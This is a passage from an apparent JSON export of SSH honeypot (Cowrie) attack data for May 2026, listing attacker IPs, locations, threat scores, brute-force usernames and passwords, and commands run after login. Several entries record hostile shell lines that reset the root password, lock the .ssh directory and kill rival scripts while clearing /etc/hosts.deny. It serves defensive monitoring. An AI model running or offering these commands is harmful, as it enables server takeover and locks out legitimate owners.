        "echo \"root:sqChnyGZMb4X\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:05:26.962000+00:00",
        "last_seen_30d": "2026-05-16T15:39:58.704000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 55
      }
    },
    "150.109.20.160": {
      "attack_count": 178,
      "first_seen": "2026-05-16T23:20:28.869Z",
      "last_seen": "2026-05-16T23:56:39.812Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "112233445566",
        "19840102",
        "1q2w3e4r!Q@W#E$R",
        "20192019",
        "2067",
        "3245gs5662d34",
        "345gs5662d34",
        "Tiger123",
        "admin@#",
        "asdfjkl;",
        "china@2013",
        "emo123",
        "hostmaster",
        "jualan80",
        "k0nig~test",
        "orzeszek",
        "parola123",
        "qwer123$",
        "qwerty1!",
        "tutor"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:v5YuwHyEWMl5\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T23:20:28.869000+00:00",
        "last_seen_30d": "2026-05-16T23:57:47.822000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 55
      }
    },
    "103.183.62.1": {
      "attack_count": 173,
      "first_seen": "2026-05-17T20:19:40.410Z",
      "last_seen": "2026-05-17T20:47:25.324Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456@qq",
        "123system123",
        "2057",
        "2061",
        "7ujMko0admin",
        "devel0per",
        "gitgit",
        "hola",
        "mah123",
        "nathan",
        "oracle01",
        "passport",
        "passwort",
        "renuka",
        "testusr",
        "toorroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aIFajm8iv9X2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 149636,
      "as_org": "Hasan Broadband Net",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:19:40.410000+00:00",
        "last_seen_30d": "2026-05-17T20:48:32.263000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 51
      }
    },
    "118.99.102.207": {
      "attack_count": 148,
      "first_seen": "2026-05-27T19:02:40.827Z",
      "last_seen": "2026-05-27T19:35:12.540Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "beehive",
        "deploy",
        "desliga",
        "devuser",
        "mcadmin",
        "rico",
        "under"
      ],
      "passwords_attempted": [
        "!QAZxsw2",
        "123456",
        "159357",
        "1qaz.2wsx",
        "314159265",
        "3245gs5662d34",
        "345gs5662d34",
        "Pi123456",
        "Temp1234",
        "aA@12345678",
        "beehive",
        "desliga",
        "fjbdfdjkdsfs541544",
        "mcadmin",
        "qwer.123456",
        "root",
        "tianyu@123",
        "under"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:yib1L6YfL2D0\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "North Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T19:02:40.827000+00:00",
        "last_seen_30d": "2026-05-27T19:36:17.663000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 42
      }
    },
    "20.224.168.82": {
      "attack_count": 144,
      "first_seen": "2026-05-30T09:37:28.570Z",
      "last_seen": "2026-05-30T10:01:04.234Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "redmine",
        "345gs5662d34",
        "administrador",
        "bin",
        "devops",
        "ec2-user",
        "homepage",
        "maman",
        "michel",
        "testa",
        "wy"
      ],
      "passwords_attempted": [
        "1234",
        "123456@Ab",
        "1qaz!QAZ123",
        "3245gs5662d34",
        "345gs5662d34",
        "90909090",
        "Password01!",
        "administrador",
        "homepage",
        "maman123",
        "michel",
        "qwerty123",
        "root",
        "root8888",
        "testa",
        "worlddomination",
        "wy"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\npVNREuHAnNrF\\npVNREuHAnNrF\\n\"|passwd",
        "echo -e \"1234\\npVNREuHAnNrF\\npVNREuHAnNrF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T09:37:28.570000+00:00",
        "last_seen_30d": "2026-05-30T10:02:11.101000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 38
      }
    },
    "42.178.170.122": {
      "attack_count": 142,
      "first_seen": "2026-05-25T23:53:20.752Z",
      "last_seen": "2026-05-25T23:58:53.812Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 30.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T23:53:20.752000+00:00",
        "last_seen_30d": "2026-05-26T00:00:02.971000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 72
      }
    },
    "27.79.7.105": {
      "attack_count": 137,
      "first_seen": "2026-05-07T00:22:41.355Z",
      "last_seen": "2026-05-07T00:31:43.141Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "1234",
        "btf",
        "config",
        "guest1",
        "installer",
        "nikita",
        "operator",
        "oracle",
        "squid",
        "sshd",
        "support",
        "sync",
        "test",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "321start",
        "@",
        "abcd1234",
        "admin",
        "admin01",
        "admin123",
        "alpine",
        "click1",
        "config",
        "default",
        "guest1",
        "installer",
        "ipscan",
        "nikita",
        "operator",
        "oracle",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:22:41.355000+00:00",
        "last_seen_30d": "2026-05-07T00:32:44.092000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 137,
        "Suricata": 56
      }
    },
    "103.57.224.219": {
      "attack_count": 126,
      "first_seen": "2026-05-09T02:14:34.225Z",
      "last_seen": "2026-05-31T04:57:14.580Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 24499,
      "as_org": "Telenor Pakistan",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.6,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:14:34.225000+00:00",
        "last_seen_30d": "2026-05-31T04:58:15.274000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 62
      }
    },
    "154.16.115.17": {
      "attack_count": 114,
      "first_seen": "2026-05-08T10:06:58.325Z",
      "last_seen": "2026-05-31T22:32:05.654Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 53.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:06:58.325000+00:00",
        "last_seen_30d": "2026-05-31T22:33:15.710000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "170.80.71.100": {
      "attack_count": 114,
      "first_seen": "2026-05-22T10:58:53.286Z",
      "last_seen": "2026-05-22T20:25:17.572Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Teres\u00f3polis",
      "asn": 263905,
      "as_org": "New Group Telecomunicacoes LTDA",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:58:53.286000+00:00",
        "last_seen_30d": "2026-05-22T20:26:23.346000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 57
      }
    },
    "182.119.9.200": {
      "attack_count": 108,
      "first_seen": "2026-05-23T07:57:48.425Z",
      "last_seen": "2026-05-23T13:58:28.854Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:57:48.425000+00:00",
        "last_seen_30d": "2026-05-23T13:59:33.371000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 55
      }
    },
    "23.237.108.178": {
      "attack_count": 78,
      "first_seen": "2026-05-10T07:02:51.632Z",
      "last_seen": "2026-05-20T15:19:25.854Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:02:51.632000+00:00",
        "last_seen_30d": "2026-05-20T15:20:30.709000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "34.14.107.46": {
      "attack_count": 68,
      "first_seen": "2026-05-12T07:52:09.075Z",
      "last_seen": "2026-05-12T07:52:40.193Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4874",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:52:09.075000+00:00",
        "last_seen_30d": "2026-05-12T07:53:50.314000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 41
      }
    },
    "175.107.1.175": {
      "attack_count": 50,
      "first_seen": "2026-05-18T19:26:08.710Z",
      "last_seen": "2026-05-18T19:31:33.142Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T19:26:08.710000+00:00",
        "last_seen_30d": "2026-05-18T19:32:40.921000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "176.65.131.147": {
      "attack_count": 48,
      "first_seen": "2026-05-11T15:48:29.588Z",
      "last_seen": "2026-05-31T23:31:41.992Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 47.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:48:29.588000+00:00",
        "last_seen_30d": "2026-05-31T23:32:50.857000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "45.148.10.151": {
      "attack_count": 48,
      "first_seen": "2026-05-04T07:04:07.484Z",
      "last_seen": "2026-05-30T16:03:46.662Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:04:07.484000+00:00",
        "last_seen_30d": "2026-05-30T16:04:53.425000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "147.135.97.163": {
      "attack_count": 42,
      "first_seen": "2026-05-05T01:58:28.266Z",
      "last_seen": "2026-05-19T19:55:26.008Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Oakton",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:58:28.266000+00:00",
        "last_seen_30d": "2026-05-19T19:56:27.592000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "195.62.50.39": {
      "attack_count": 20,
      "first_seen": "2026-05-24T04:36:10.215Z",
      "last_seen": "2026-05-24T04:50:37.156Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:36:10.215000+00:00",
        "last_seen_30d": "2026-05-24T04:51:45.547000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "108.181.93.35": {
      "attack_count": 12,
      "first_seen": "2026-05-14T19:53:34.658Z",
      "last_seen": "2026-05-15T02:37:51.555Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:53:34.658000+00:00",
        "last_seen_30d": "2026-05-15T02:38:53.266000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "171.76.226.240": {
      "attack_count": 12,
      "first_seen": "2026-05-14T03:57:33.749Z",
      "last_seen": "2026-05-14T04:09:44.285Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Prayagraj",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T03:57:33.749000+00:00",
        "last_seen_30d": "2026-05-14T04:10:50.063000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "192.227.155.98": {
      "attack_count": 12,
      "first_seen": "2026-05-11T13:31:45.207Z",
      "last_seen": "2026-05-29T03:41:02.070Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Elk Grove Village",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
